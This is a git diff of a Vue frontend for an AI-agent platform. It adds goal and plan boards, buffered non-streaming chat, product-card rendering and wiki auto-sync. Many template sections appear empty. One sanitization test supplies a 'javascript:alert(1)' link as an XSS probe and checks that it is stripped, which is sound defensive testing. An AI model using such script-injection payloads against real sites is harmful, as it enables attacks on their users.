index 00000000..b6edf0a0 --- /dev/null +++ b/mateclaw-ui/src/components/agent/WizardCapabilityPicker.vue @@ -0,0 +1,140 @@ + + + + + diff --git a/mateclaw-ui/src/components/agents/GoalsPanel.vue b/mateclaw-ui/src/components/agents/GoalsPanel.vue new file mode 100644 index 00000000..3ca5ec48 --- /dev/null +++ b/mateclaw-ui/src/components/agents/GoalsPanel.vue @@ -0,0 +1,274 @@ + + + + + diff --git a/mateclaw-ui/src/components/agents/PlanBoard.vue b/mateclaw-ui/src/components/agents/PlanBoard.vue new file mode 100644 index 00000000..515883dd --- /dev/null +++ b/mateclaw-ui/src/components/agents/PlanBoard.vue @@ -0,0 +1,650 @@ + + + + + diff --git a/mateclaw-ui/src/components/agents/PlanDetailPanel.vue b/mateclaw-ui/src/components/agents/PlanDetailPanel.vue new file mode 100644 index 00000000..fd075c77 --- /dev/null +++ b/mateclaw-ui/src/components/agents/PlanDetailPanel.vue @@ -0,0 +1,470 @@ + + + + + diff --git a/mateclaw-ui/src/components/channels/ChannelOnboardingWizard.vue b/mateclaw-ui/src/components/channels/ChannelOnboardingWizard.vue index 18f67255..e1b8975f 100644 --- a/mateclaw-ui/src/components/channels/ChannelOnboardingWizard.vue +++ b/mateclaw-ui/src/components/channels/ChannelOnboardingWizard.vue @@ -393,8 +393,13 @@ const subtitle = computed(() => ) const allFields = computed(() => CHANNEL_FIELD_DEFS[channelType.value] || []) -const requiredFields = computed(() => allFields.value.filter((f) => f.required)) -const optionalFields = computed(() => allFields.value.filter((f) => !f.required)) +// readOnly fields are platform-generated on save (e.g. webchat's api_key) — the +// user can't enter them during creation, so they must never gate "Continue" nor +// render as fillable inputs here. They show up (required, readOnly) in the edit +// modal once a value exists. +const editableFields = computed(() => allFields.value.filter((f) => !f.readOnly)) +const requiredFields = computed(() => editableFields.value.filter((f) => f.required)) +const optionalFields = computed(() => editableFields.value.filter((f) => !f.required)) const hasVerifier = computed(() => VERIFIABLE_TYPES.has(channelType.value)) const isOAuthStyle = computed(() => OAUTH_STYLE_TYPES.has(channelType.value)) diff --git a/mateclaw-ui/src/components/chat/ChatInput.vue b/mateclaw-ui/src/components/chat/ChatInput.vue index 4314d60e..afc847ed 100644 --- a/mateclaw-ui/src/components/chat/ChatInput.vue +++ b/mateclaw-ui/src/components/chat/ChatInput.vue @@ -67,6 +67,9 @@ {{ getToolLabel(pendingApproval.toolName) }} {{ t('chat.approvalExecute') }} + + {{ approvalDetail }}

    -
    +
    +
    + + +
    +
    + + +
    @@ -158,9 +192,10 @@ import { useI18n } from 'vue-i18n' import { mcToast } from '@/composables/useMcToast' import SkillIcon from '@/components/common/SkillIcon.vue' import LiveFocusPanel from '@/components/live/LiveFocusPanel.vue' +import LiveBoard from '@/components/live/LiveBoard.vue' import { useLiveAgent } from '@/composables/useLiveAgent' import { mcConfirm } from '@/components/common/useConfirm' -import { liveApi, type LiveSnapshot, type LiveRunCard, type LiveSubagentCard } from '@/api' +import { liveApi, goalApi, type LiveSnapshot, type LiveRunCard, type LiveSubagentCard, type Goal } from '@/api' const { t } = useI18n() const { @@ -182,6 +217,42 @@ const detail = ref(null) const activeFilter = ref('all') let timer: ReturnType | null = null +// ===== Lifecycle board mode ===== +// Same snapshot, laid out across run/goal lifecycle columns. Goals are fetched +// lazily (only once the board is shown) and refreshed alongside the snapshot. +const layout = ref<'grid' | 'board'>('grid') +const goalsActive = ref([]) +const doneGoals = ref([]) +const failedGoals = ref([]) + +const goalByConv = computed>(() => { + const map: Record = {} + for (const g of goalsActive.value) map[g.conversationId] = g + return map +}) + +function setLayout(next: 'grid' | 'board') { + if (layout.value === next) return + layout.value = next + if (next === 'board') loadGoals() +} + +async function loadGoals() { + // Best-effort: the board still renders its run columns without goals. + try { + const [active, done, failed] = await Promise.all([ + goalApi.list({ status: 'active', limit: 100 }), + goalApi.list({ status: 'completed', limit: 50 }), + goalApi.list({ status: 'exhausted', limit: 50 }), + ]) + goalsActive.value = ((active as any)?.data ?? []) as Goal[] + doneGoals.value = ((done as any)?.data ?? []) as Goal[] + failedGoals.value = ((failed as any)?.data ?? []) as Goal[] + } catch { + /* leave whatever we had; columns degrade to empty */ + } +} + function isWorking(r: LiveRunCard): boolean { return !r.stuckReason && !r.orphan } @@ -347,6 +418,8 @@ async function refresh() { const fresh = snapshot.value.runs.find(r => r.conversationId === detail.value!.conversationId) if (fresh) detail.value = fresh } + // Keep the board's goal columns fresh on the same cadence as the snapshot. + if (layout.value === 'board') loadGoals() } catch (e: any) { if (isInitialLoading.value) mcToast.error(e?.message || t('live.errors.loadFailed')) } finally { @@ -469,6 +542,43 @@ onBeforeUnmount(() => { min-width: 0; } +/* ===== Grid / board layout toggle ===== */ +.layout-toggle { + display: inline-flex; + align-items: center; + gap: 2px; + padding: 2px; + border-radius: 999px; + border: 1px solid var(--mc-border-light); + background: var(--mc-bg-muted); +} + +.layout-seg { + display: inline-flex; + align-items: center; + gap: 6px; + padding: 5px 12px; + border-radius: 999px; + border: none; + background: transparent; + color: var(--mc-text-tertiary); + font-size: 12.5px; + font-weight: 500; + font-family: inherit; + cursor: pointer; + transition: background 0.18s ease, color 0.18s ease; +} + +.layout-seg:hover { + color: var(--mc-text-primary); +} + +.layout-seg.is-active { + background: var(--mc-bg-elevated); + color: var(--mc-text-primary); + box-shadow: var(--mc-shadow-soft); +} + /* ===== Filter chip row (kanban-inspired, soft) ===== */ .filter-row { display: flex; diff --git a/mateclaw-ui/src/composables/__tests__/product-cards.test.ts b/mateclaw-ui/src/composables/__tests__/product-cards.test.ts new file mode 100644 index 00000000..62fc90c8 --- /dev/null +++ b/mateclaw-ui/src/composables/__tests__/product-cards.test.ts @@ -0,0 +1,61 @@ +// @vitest-environment happy-dom +import { describe, it, expect } from 'vitest' +import { useMarkdownRenderer } from '../useMarkdownRenderer' + +const { renderMarkdown } = useMarkdownRenderer() + +// A representative ckjia_shopping_recommend payload, trimmed to the fields the +// SKILL.md contract asks the model to emit inside a ```product-cards fence. +const SAMPLE = `\`\`\`product-cards +[ + { + "name": "华为畅享 70X 尊享版 256GB 曜金黑", + "url": "https://union-click.jd.com/jdc?e=abc", + "imageUrl": "https://img14.360buyimg.com/pop/jfs/t1/xxx.jpg", + "price": 1699, + "originalPrice": 1899, + "lowestPrice": 1619, + "platformLabel": "京东", + "shopName": "华为(HUAWEI)", + "purchaseAdvice": "长续航,预算内首选" + } +] +\`\`\`` + +describe('product-cards rendering', () => { + it('renders a fenced product-cards block as a clickable card grid', () => { + const html = renderMarkdown(SAMPLE) + expect(html).toContain('class="product-cards"') + // Whole card is an anchor to the buy URL. + expect(html).toContain('
    { + const wrapped = '```product-cards\n{"recommendations":[{"name":"X","url":"https://x.test/p","price":10}]}\n```' + const html = renderMarkdown(wrapped) + expect(html).toContain('class="product-cards"') + expect(html).toContain('¥10') + }) + + it('shows a loading placeholder for incomplete (streaming) JSON', () => { + const partial = '```product-cards\n[{"name":"half' + const html = renderMarkdown(partial) + expect(html).toContain('product-cards--loading') + }) + + it('drops a javascript: url to a non-clickable card', () => { + const evil = '```product-cards\n[{"name":"bad","url":"javascript:alert(1)"}]\n```' + const html = renderMarkdown(evil) + expect(html).toContain('product-card--nolink') + expect(html).not.toContain('javascript:alert') + }) +}) diff --git a/mateclaw-ui/src/composables/__tests__/streaming-render.test.ts b/mateclaw-ui/src/composables/__tests__/streaming-render.test.ts new file mode 100644 index 00000000..6d7b09ce --- /dev/null +++ b/mateclaw-ui/src/composables/__tests__/streaming-render.test.ts @@ -0,0 +1,72 @@ +// @vitest-environment happy-dom +import { describe, it, expect } from 'vitest' +import { useMarkdownRenderer } from '../useMarkdownRenderer' + +const { renderMarkdown } = useMarkdownRenderer() + +// An unlabeled fenced code block. The default (final) render auto-detects the +// language via hljs.highlightAuto — the single most expensive step. The +// streaming render must skip it and emit escaped plain text instead. +const UNLABELED_CODE = `\`\`\` +function add(a, b) { + return a + b +} +\`\`\`` + +describe('streaming markdown render mode', () => { + it('skips code auto-highlight while streaming', () => { + const streamed = renderMarkdown(UNLABELED_CODE, { streaming: true }) + // No highlight.js token spans in the streamed (cheap) render. The + // structural `hljs-lines` gutter wrapper is always present, so we assert on + // the token spans (hljs-keyword / hljs-string / …) specifically. + expect(streamed).not.toContain(' { + const labeled = '```js\nconst x = 1\n```' + const streamed = renderMarkdown(labeled, { streaming: true }) + // Explicit language uses single-grammar hljs.highlight (cheap), kept on. + expect(streamed).toContain(' { + const md = '```mermaid\ngraph TD; A-->B;\n```' + const streamed = renderMarkdown(md, { streaming: true }) + expect(streamed).toContain('chart-loading') + expect(streamed).not.toContain('mermaid-block') + + const final = renderMarkdown(md, { streaming: false }) + expect(final).toContain('class="mermaid-block"') + expect(final).toContain('data-mermaid') + }) +}) diff --git a/mateclaw-ui/src/composables/chat/useChat.ts b/mateclaw-ui/src/composables/chat/useChat.ts index a9f10aa9..507ba630 100644 --- a/mateclaw-ui/src/composables/chat/useChat.ts +++ b/mateclaw-ui/src/composables/chat/useChat.ts @@ -14,6 +14,8 @@ import { useMessages } from './useMessages' import { useStream } from './useStream' import { useMessageQueue } from './useMessageQueue' import { useGoalStore } from '@/stores/useGoalStore' +import { useSystemSettingsStore } from '@/stores/useSystemSettingsStore' +import { storeToRefs } from 'pinia' import type { Message, MessageContentPart, MessageSegment, StreamPhase, HeartbeatData, QueuedMessage, PhaseEventData, DelegationNode, DelegationToolEntry, PlanMeta } from '@/types' import { classifyBackendError, type ChatErrorInfo } from '@/types/chatError' import { http } from '@/api' @@ -216,15 +218,30 @@ export function useChat(options: UseChatOptions): UseChatReturn { /** Unique ID for the current turn — prevents flushSegmentsToMessage from writing stale segments to a new message */ let activeTurnId = '' + // When the user disables "stream response", the turn is still consumed over + // SSE (so tools / approval / events all work) but the on-screen message is + // held back and revealed once on completion instead of token-by-token. These + // buffers hold the text/thinking deltas until the reveal at stream end. + const { streamEnabled } = storeToRefs(useSystemSettingsStore()) + let bufferedText = '' + let bufferedThinking = '' + /** Reset streaming state for the current turn — must be called before creating a new assistant placeholder */ function resetCurrentTurnState() { currentSegments.value = [] segIdCounter.value = 0 + bufferedText = '' + bufferedThinking = '' activeTurnId = `turn-${Date.now()}-${Math.random().toString(36).slice(2, 6)}` } - /** Sync current segments into the assistant message metadata (used for real-time rendering) */ - const flushSegmentsToMessage = () => { + /** + * Sync current segments into the assistant message metadata (used for + * real-time rendering). When streaming is disabled we skip the live writes + * and only flush once at stream end (force=true) so nothing renders mid-turn. + */ + const flushSegmentsToMessage = (force = false) => { + if (!force && !streamEnabled.value) return if (!currentAssistantId.value || currentSegments.value.length === 0) return const msg = getMessage(currentAssistantId.value) if (!msg) return @@ -236,6 +253,23 @@ export function useChat(options: UseChatOptions): UseChatReturn { metadata: { ...metadata, segments: [...currentSegments.value] } } as any) } + + /** + * Reveal a buffered (non-streamed) turn: commit the accumulated text/thinking + * to the message and flush segments. Safe to call on done / stopped / error. + */ + const revealBufferedTurn = () => { + if (!currentAssistantId.value) return + if (bufferedThinking) { + appendMessageContent(currentAssistantId.value, bufferedThinking, 'thinking') + bufferedThinking = '' + } + if (bufferedText) { + appendMessageContent(currentAssistantId.value, bufferedText, 'text') + bufferedText = '' + } + flushSegmentsToMessage(true) + } const heartbeat = ref(null) /** Track which conversation the current stream belongs to */ let streamConversationId = '' @@ -388,7 +422,11 @@ export function useChat(options: UseChatOptions): UseChatReturn { stream.on('content_delta', (data) => { if (isStaleEvent(data)) return if (currentAssistantId.value) { - appendMessageContent(currentAssistantId.value, data.delta || '', 'text') + if (streamEnabled.value) { + appendMessageContent(currentAssistantId.value, data.delta || '', 'text') + } else { + bufferedText += data.delta || '' + } if (['thinking', 'reasoning', 'drafting_answer', 'preparing_context'].includes(streamPhase.value)) { streamPhase.value = 'streaming' } @@ -418,7 +456,11 @@ export function useChat(options: UseChatOptions): UseChatReturn { // Suppress thinking display when thinkingLevel=off if (options.thinkingLevel?.value === 'off') return if (currentAssistantId.value) { - appendMessageContent(currentAssistantId.value, data.delta || '', 'thinking') + if (streamEnabled.value) { + appendMessageContent(currentAssistantId.value, data.delta || '', 'thinking') + } else { + bufferedThinking += data.delta || '' + } if (streamPhase.value !== 'summarizing_observations') { streamPhase.value = options.thinkingLevel?.value === 'off' ? 'streaming' : 'thinking' } @@ -567,6 +609,10 @@ export function useChat(options: UseChatOptions): UseChatReturn { stream.on('done', (data) => { if (isStaleEvent(data)) return + // Non-streamed turn: reveal the buffered content/segments now, before the + // server-annotation merge below reads metadata.segments. + if (!streamEnabled.value) revealBufferedTurn() + if (currentAssistantId.value) { const existingMsg = getMessage(currentAssistantId.value) if (existingMsg?.status !== 'failed') { @@ -702,6 +748,9 @@ export function useChat(options: UseChatOptions): UseChatReturn { let errorFired = false stream.on('error', (data) => { if (isStaleEvent(data)) return + // Surface whatever was buffered before the failure so a non-streamed turn + // doesn't vanish entirely on error. + if (!streamEnabled.value) revealBufferedTurn() // Always carry data.message as rawMessage, so the inline error card can // surface the actual reason ("无权操作该会话" etc.) instead of the generic // unknown.description template. classifyBackendError already does this @@ -2010,10 +2059,16 @@ export function useChat(options: UseChatOptions): UseChatReturn { currentAssistantId.value = assistantMessage.id as string try { - // connect() owns lastEventId injection — it knows whether the dedup - // state still applies to this conversation. Passing it from out here - // would race the per-conv reset that connect does and could leak a - // different conv's id into this reconnect. + // reconnectStream always rebuilds from an EMPTY placeholder (above), so it + // needs the server to replay the WHOLE buffer — not just events newer than + // a previously-acked lastEventId. Clearing it forces connect() to omit + // lastEventId so the backend full-replays and the placeholder repaints. + // Without this, a reconnect into the same conversation (poll-detected + // running stream after a switch-away, window refocus) dedup-skips the + // buffer and the bubble stays blank until a hard refresh resets this ref — + // the "switch conversations mid-stream → blank, refresh fixes it" bug. + // Setting null (not a foreign id) right before connect can't leak or race. + stream.lastEventId.value = null await stream.connect({ conversationId, reconnect: true, diff --git a/mateclaw-ui/src/composables/useGlobalWikilinkClick.ts b/mateclaw-ui/src/composables/useGlobalWikilinkClick.ts index b153695e..e626c834 100644 --- a/mateclaw-ui/src/composables/useGlobalWikilinkClick.ts +++ b/mateclaw-ui/src/composables/useGlobalWikilinkClick.ts @@ -45,7 +45,8 @@ export function useGlobalWikilinkClick() { const target = e.target as HTMLElement | null if (!target) return // The click might land on a descendant of the ; walk up if needed. - const anchor = target.closest('a.wiki-link, .wiki-link') + // Matches both [[Title]] wikilinks and [n] wiki-citation markers. + const anchor = target.closest('a.wiki-link, a.wiki-citation, .wiki-link, .wiki-citation') if (!anchor) return // WikiPageViewer's own postprocess produces for in-wiki navigation. Its onMounted hook reads @@ -53,7 +54,9 @@ export function useGlobalWikilinkClick() { // intercept those — only the chat / external surfaces emit // data-wiki-title without data-slug. if (anchor.hasAttribute('data-slug')) return - const title = anchor.getAttribute('data-wiki-title') + // Citations use data-citation-title, wikilinks use data-wiki-title. + const title = anchor.getAttribute('data-citation-title') + || anchor.getAttribute('data-wiki-title') if (!title) return // Prevent the no-op href="#" jump and bubbling. diff --git a/mateclaw-ui/src/composables/useMarkdownRenderer.ts b/mateclaw-ui/src/composables/useMarkdownRenderer.ts index 3dd8e4d9..c5914198 100644 --- a/mateclaw-ui/src/composables/useMarkdownRenderer.ts +++ b/mateclaw-ui/src/composables/useMarkdownRenderer.ts @@ -168,6 +168,123 @@ function preprocessLatex(text: string): string { return out } +// --------------------------------------------------------------------------- +// Product cards +// --------------------------------------------------------------------------- +/** Shape the model is asked to emit inside a ```product-cards fence. */ +interface ProductCard { + name?: string + url?: string + imageUrl?: string + price?: number | string + originalPrice?: number | string + lowestPrice?: number | string + platformLabel?: string + shopName?: string + purchaseAdvice?: string +} + +/** Format a numeric/string amount as `¥1,234` (drops a trailing `.0`). */ +function formatPrice(v: number | string | undefined): string { + if (v === undefined || v === null || v === '') return '' + const n = typeof v === 'number' ? v : Number(String(v).replace(/[^\d.]/g, '')) + if (!Number.isFinite(n)) return '' + const s = Number.isInteger(n) ? String(n) : n.toFixed(2).replace(/\.0+$/, '') + return '¥' + s.replace(/\B(?=(\d{3})+(?!\d))/g, ',') +} + +/** + * Render a ```product-cards fenced JSON block into a clickable card grid. + * + * Accepts a bare array or an object wrapping the array under + * `recommendations` / `products` / `items`. While streaming, the JSON is + * frequently incomplete — we swallow the parse error and show a lightweight + * loading placeholder rather than dumping half a JSON blob into the bubble. + */ +function renderProductCards(rawCode: string): string { + let items: ProductCard[] = [] + try { + const parsed = JSON.parse(rawCode) + if (Array.isArray(parsed)) items = parsed + else if (parsed && typeof parsed === 'object') { + items = parsed.recommendations || parsed.products || parsed.items || [] + } + } catch { + return '
    ' + + '' + + '' + + '' + + '
    ' + } + if (!Array.isArray(items) || items.length === 0) return '' + + const cards = items.map((it) => { + const href = typeof it.url === 'string' && SAFE_LINK_RE.test(it.url) ? it.url : '' + const name = escapeHtml(String(it.name ?? '').trim()) || '商品' + const img = typeof it.imageUrl === 'string' && /^https?:/i.test(it.imageUrl) ? it.imageUrl : '' + const now = formatPrice(it.price) + const wasNum = typeof it.originalPrice === 'number' ? it.originalPrice : Number(it.originalPrice) + const nowNum = typeof it.price === 'number' ? it.price : Number(it.price) + const showWas = Number.isFinite(wasNum) && Number.isFinite(nowNum) && wasNum > nowNum + const was = showWas ? formatPrice(it.originalPrice) : '' + const low = formatPrice(it.lowestPrice) + const platform = escapeHtml(String(it.platformLabel ?? '').trim()) + const shop = escapeHtml(String(it.shopName ?? '').trim()) + const advice = escapeHtml(String(it.purchaseAdvice ?? '').trim()) + + // target/rel (anchor) and referrerpolicy/loading (img) are re-applied by the + // afterSanitizeAttributes hook — DOMPurify strips them here regardless. + const media = img + ? `
    ${name}
    ` + : `
    ` + const meta = [platform, shop].filter(Boolean).join(' · ') + const priceLine = now + ? `
    ${now}` + + (was ? `${was}` : '') + + `
    ` + : '' + // The whole card is the anchor, but a visible CTA makes the "tap to buy" + // affordance explicit (an `
    ` can't legally wrap a ` +
    +
    + +
    + {{ t('agents.tagFilter.label') }} + + + + {{ t('agents.tagFilter.noMatch') }} + + +
    @@ -86,6 +114,12 @@

    {{ agentTagline(agent) || t('agents.messages.noTagline') }}

    +
    + + {{ tag }} + +
    @@ -133,7 +167,10 @@ - + + + + @@ -227,7 +264,8 @@ @@ -318,15 +356,45 @@
    - {{ t('agents.fields.extraInstructions') }} + {{ t('agents.fields.advanced') }} +

    {{ t('agents.fields.extraInstructionsHint') }}

    +
    +
    + {{ t('agents.guide.summary') }} +

    {{ t('agents.guide.desc') }}

    +
    + +
    - +
    + + {{ tag }} + + + +
    +

    + + +

    @@ -563,35 +631,66 @@ {{ t('agents.binding.wikiKicker') }}

    {{ t('agents.binding.wikiTagline') }}

    -

    {{ t('agents.binding.wikiHint') }}

    -
    {{ t('agents.binding.noKBs') }}
    -
    - -
    {{ t('dashboard.periods.today') }}
    @@ -190,7 +195,7 @@ import { ref, reactive, computed, onMounted, onUnmounted, nextTick, watch } from import { useI18n } from 'vue-i18n' import { useRouter } from 'vue-router' import { ArrowRight, ChatDotRound, DataLine, Document, Tools } from '@element-plus/icons-vue' -import { dashboardApi, modelApi } from '@/api' +import { dashboardApi, modelApi, http } from '@/api' import { getProviderIcon, onProviderIconError } from '@/utils/providerIcons' import * as echarts from 'echarts/core' import { LineChart } from 'echarts/charts' @@ -219,6 +224,9 @@ const todayStats = reactive({ // ── Model configuration card ── const modelProviders = ref([]) const activeModel = ref<{ providerId: string; model: string } | null>(null) +// Connected database product name (e.g. "MySQL" / "H2" / "PostgreSQL"), surfaced +// as a subtle line in the page header. Empty string hides it when unavailable. +const dbLabel = ref('') const readyProviderCount = computed( () => modelProviders.value.filter((p) => providerChipStatus(p) === 'ready').length, @@ -272,6 +280,15 @@ onMounted(async () => { // Dashboard data is non-critical } + // Connected database label — independent and non-critical. Reuses the + // existing system health endpoint, which already reports the product name. + try { + const healthRes: any = await http.get('/system/health') + dbLabel.value = (healthRes?.data || healthRes)?.database || '' + } catch { + dbLabel.value = '' + } + // Model configuration card — loaded independently so a failure here never // blanks the analytics above, and vice versa. try { @@ -415,6 +432,34 @@ function calcDuration(run: any): string { padding-right: 4px; } +.db-chip { + display: inline-flex; + align-items: center; + gap: 6px; + margin-top: 14px; + padding: 4px 10px; + border: 1px solid var(--mc-border); + border-radius: 999px; + background: var(--mc-bg-sunken); + font-size: 12px; + line-height: 1; + color: var(--mc-text-secondary); +} + +.db-chip__icon { + color: var(--mc-text-tertiary); + flex-shrink: 0; +} + +.db-chip__label { + color: var(--mc-text-tertiary); +} + +.db-chip__value { + font-weight: 600; + color: var(--mc-text-primary); +} + .hero-note { min-width: 220px; padding: 16px 18px; diff --git a/mateclaw-ui/src/views/Docs/index.vue b/mateclaw-ui/src/views/Docs/index.vue new file mode 100644 index 00000000..16c602a0 --- /dev/null +++ b/mateclaw-ui/src/views/Docs/index.vue @@ -0,0 +1,207 @@ + + + + + diff --git a/mateclaw-ui/src/views/Login.vue b/mateclaw-ui/src/views/Login.vue index 9b5e4add..17515cea 100644 --- a/mateclaw-ui/src/views/Login.vue +++ b/mateclaw-ui/src/views/Login.vue @@ -62,10 +62,12 @@ import { useRouter } from 'vue-router' import { useI18n } from 'vue-i18n' import { authApi } from '@/api/index' import { useWorkspaceStore } from '@/stores/useWorkspaceStore' +import { useSystemSettingsStore } from '@/stores/useSystemSettingsStore' const router = useRouter() const { t } = useI18n() const workspaceStore = useWorkspaceStore() +const systemSettingsStore = useSystemSettingsStore() const loading = ref(false) const showPassword = ref(false) const errorMsg = ref('') @@ -82,6 +84,11 @@ async function handleLogin() { localStorage.setItem('userId', String(data.id || '1')) localStorage.setItem('username', data.username || form.username) localStorage.setItem('role', data.role || 'user') + // Now authenticated — load runtime settings (streamEnabled / debugMode) so + // the saved preferences take effect on the first turn. The app-boot load() + // runs before login and 401s, so without this the chat would fall back to + // defaults until the user opened the Settings page. + systemSettingsStore.load() // Resolve capabilities before deciding the landing route so a viewer // lands on /chat (their only capability) and member+ on /dashboard. try { diff --git a/mateclaw-ui/src/views/Memory/components/MemorySection.vue b/mateclaw-ui/src/views/Memory/components/MemorySection.vue index 457e89d0..ff0fb260 100644 --- a/mateclaw-ui/src/views/Memory/components/MemorySection.vue +++ b/mateclaw-ui/src/views/Memory/components/MemorySection.vue @@ -3,6 +3,8 @@

    {{ section.heading }}

    + + @@ -41,8 +43,14 @@ const props = defineProps<{ section: MemorySectionData /** Persists the edited body — resolves on success, rejects on failure. */ saveHandler: (body: string) => Promise + /** Show a ↑ button; emits `moveUp`. Off by default (MemoryBrowser doesn't reorder). */ + canMoveUp?: boolean + /** Show a ↓ button; emits `moveDown`. */ + canMoveDown?: boolean }>() +const emit = defineEmits<{ moveUp: []; moveDown: [] }>() + const { t } = useI18n() const editing = ref(false) const draft = ref('') @@ -110,6 +118,7 @@ function renderMarkdown(body: string): string { cursor: pointer; transition: all 0.12s; } .section-btn:hover { background: var(--mc-bg-elevated); color: var(--mc-primary); } +.section-btn--move { font-size: 14px; line-height: 1; } .section-body { margin-top: 8px; font-size: 13px; color: var(--mc-text-secondary); line-height: 1.6; diff --git a/mateclaw-ui/src/views/Settings/Layout.vue b/mateclaw-ui/src/views/Settings/Layout.vue index 170364a8..62709975 100644 --- a/mateclaw-ui/src/views/Settings/Layout.vue +++ b/mateclaw-ui/src/views/Settings/Layout.vue @@ -189,6 +189,12 @@ const sections = computed(() => [ label: t('nav.toolsCatalog'), icon: '', }, + { + id: 'proxy', + path: '/settings/proxy', + label: t('settings.sections.proxy', '网络代理'), + icon: '', + }, // RFC-090 Phase 7: ACP endpoints { id: 'acp', diff --git a/mateclaw-ui/src/views/Settings/Models/MultimodalSidecarSection.vue b/mateclaw-ui/src/views/Settings/Models/MultimodalSidecarSection.vue index 7a6ec1b3..3215c99f 100644 --- a/mateclaw-ui/src/views/Settings/Models/MultimodalSidecarSection.vue +++ b/mateclaw-ui/src/views/Settings/Models/MultimodalSidecarSection.vue @@ -39,6 +39,7 @@ :models="visionModels" :placeholder="t('settings.models.sidecar.notConfigured')" :empty-text="t('settings.models.sidecar.vision.empty')" + :badge-text="t('settings.models.sidecar.capable')" :disabled="visionModels.length === 0" />
    @@ -75,6 +76,7 @@ :models="videoModels" :placeholder="t('settings.models.sidecar.notConfigured')" :empty-text="t('settings.models.sidecar.video.empty')" + :badge-text="t('settings.models.sidecar.capable')" :disabled="videoModels.length === 0" />
    @@ -102,6 +104,8 @@ interface ModelOption { name: string provider: string modelName: string + /** Backend flag: declared/heuristic capabilities already cover this modality. */ + modalityCapable?: boolean } const { t } = useI18n() diff --git a/mateclaw-ui/src/views/Settings/Proxy/index.vue b/mateclaw-ui/src/views/Settings/Proxy/index.vue new file mode 100644 index 00000000..e78eac47 --- /dev/null +++ b/mateclaw-ui/src/views/Settings/Proxy/index.vue @@ -0,0 +1,204 @@ + + + + + diff --git a/mateclaw-ui/src/views/Settings/System/index.vue b/mateclaw-ui/src/views/Settings/System/index.vue index 45e3eef9..f805e8b3 100644 --- a/mateclaw-ui/src/views/Settings/System/index.vue +++ b/mateclaw-ui/src/views/Settings/System/index.vue @@ -205,9 +205,11 @@ import { onMounted, reactive, ref } from 'vue' import { useI18n } from 'vue-i18n' import { settingsApi } from '@/api' import { applyLocale } from '@/i18n' +import { useSystemSettingsStore } from '@/stores/useSystemSettingsStore' import type { SystemSettings } from '@/types' const { t } = useI18n() +const systemSettingsStore = useSystemSettingsStore() const savedTip = ref('') // API Key 独立管理,不回显明文 @@ -234,6 +236,8 @@ onMounted(async () => { async function loadSettings() { const res: any = await settingsApi.get() Object.assign(settings, res.data || {}) + // Keep the runtime store in sync so chat honors the latest toggles. + systemSettingsStore.apply(settings) // 清空 API Key 输入框(不回显明文) serperApiKeyInput.value = '' tavilyApiKeyInput.value = '' diff --git a/mateclaw-ui/src/views/Wiki/components/PageHeader.vue b/mateclaw-ui/src/views/Wiki/components/PageHeader.vue index 5d89da2b..dea6330c 100644 --- a/mateclaw-ui/src/views/Wiki/components/PageHeader.vue +++ b/mateclaw-ui/src/views/Wiki/components/PageHeader.vue @@ -3,7 +3,7 @@
    - {{ t(`wiki.page.type.${page.pageType}`) || page.pageType }} + {{ formatPageTypeLabel(page.pageType) }}

    {{ page.title }}

    @@ -42,8 +42,10 @@ import { computed } from 'vue' import { useI18n } from 'vue-i18n' import { Link } from '@element-plus/icons-vue' import { useWorkspaceStore } from '@/stores/useWorkspaceStore' +import { useWikiPageType } from '@/composables/useWikiPageType' const { t } = useI18n() +const { formatPageTypeLabel } = useWikiPageType() const workspace = useWorkspaceStore() // Enriching a page (adding cross-links) is a write action — viewers only read. diff --git a/mateclaw-ui/src/views/Wiki/components/RawMaterialPanel.vue b/mateclaw-ui/src/views/Wiki/components/RawMaterialPanel.vue index 31c238a4..2dba1300 100644 --- a/mateclaw-ui/src/views/Wiki/components/RawMaterialPanel.vue +++ b/mateclaw-ui/src/views/Wiki/components/RawMaterialPanel.vue @@ -67,6 +67,29 @@
    {{ t('wiki.scanResult', { scanned: scanResult.scanned, added: scanResult.added, skipped: scanResult.skipped }) }} +
    + {{ err }} +
    +
    + + +
    + + + {{ t('wiki.sources.autoSyncInterval', { sec: Math.round(watcher.intervalMs / 1000) }) }} + + + + {{ t('wiki.sources.autoSyncGlobalOffHint') }} +
    @@ -497,7 +520,49 @@ const textTitle = ref('') const textContent = ref('') const dirPath = ref(store.currentKB?.sourceDirectory || '') const scanning = ref(false) -const scanResult = ref<{ scanned: number; added: number; skipped: number } | null>(null) +const scanResult = ref<{ scanned: number; added: number; skipped: number; errors?: string[] } | null>(null) + +// ─── Per-KB auto-sync (source watcher) ──────────────────────────────────────── +// Auto-sync periodically scans the directory above. It runs only when the +// server-global master switch (watcher.globalEnabled, ops-controlled) AND this +// KB's toggle (watcher.kbEnabled) are both on. When the global switch is off the +// toggle is disabled with a hint — there's nothing a non-ops user can do here. +const watcher = reactive({ + globalEnabled: false, + kbEnabled: false, + intervalMs: 0, + sourceType: null as string | null, + busy: false, +}) +async function loadWatcher(kbId: number) { + try { + const res: any = await wikiApi.getSourceWatcher(kbId) + const d = res?.data ?? res + watcher.globalEnabled = !!d.watcherEnabled + watcher.kbEnabled = !!d.kbWatcherEnabled + watcher.intervalMs = d.intervalMs || 0 + watcher.sourceType = d.sourceType || null + } catch { /* leave defaults; auto-sync UI just shows disabled */ } +} +async function toggleWatcher(next: boolean) { + if (!store.currentKB) return + watcher.busy = true + try { + await wikiApi.setWatcherEnabled(store.currentKB.id, next) + watcher.kbEnabled = next + mcToast.success(t('common.saved')) + } catch (e: any) { + mcToast.error(e?.response?.data?.message || t('wiki.sources.toggleFailed')) + } finally { + watcher.busy = false + } +} +watch(() => store.currentKB?.id, (id) => { + if (id) { + dirPath.value = store.currentKB?.sourceDirectory || '' + void loadWatcher(id as number) + } +}, { immediate: true }) // ─── Drag-over state ────────────────────────────────────────────────────────── const { isDragging, onDragEnter, onDragLeave, onDrop: handleDrop } = useFileDrop(uploadDroppedFiles) @@ -680,7 +745,8 @@ async function handleScanDir() { const result = await store.scanDirectory(store.currentKB.id) scanResult.value = result } catch (e: any) { - console.error('Scan failed', e) + const msg = e?.response?.data?.message || e?.message || t('wiki.scanFailed') + mcToast.error(msg) } finally { scanning.value = false } @@ -703,11 +769,21 @@ async function handleScanDir() { /* Directory scan */ .dir-scan-row { display: flex; gap: 10px; align-items: center; } + +/* Auto-sync (per-KB source watcher) */ +.auto-sync-row { display: flex; align-items: center; gap: 12px; flex-wrap: wrap; margin-top: -4px; } +.auto-sync-toggle { display: inline-flex; align-items: center; gap: 6px; font-size: 13px; color: var(--mc-text-secondary); cursor: pointer; } +.auto-sync-toggle.disabled { opacity: 0.55; cursor: not-allowed; } 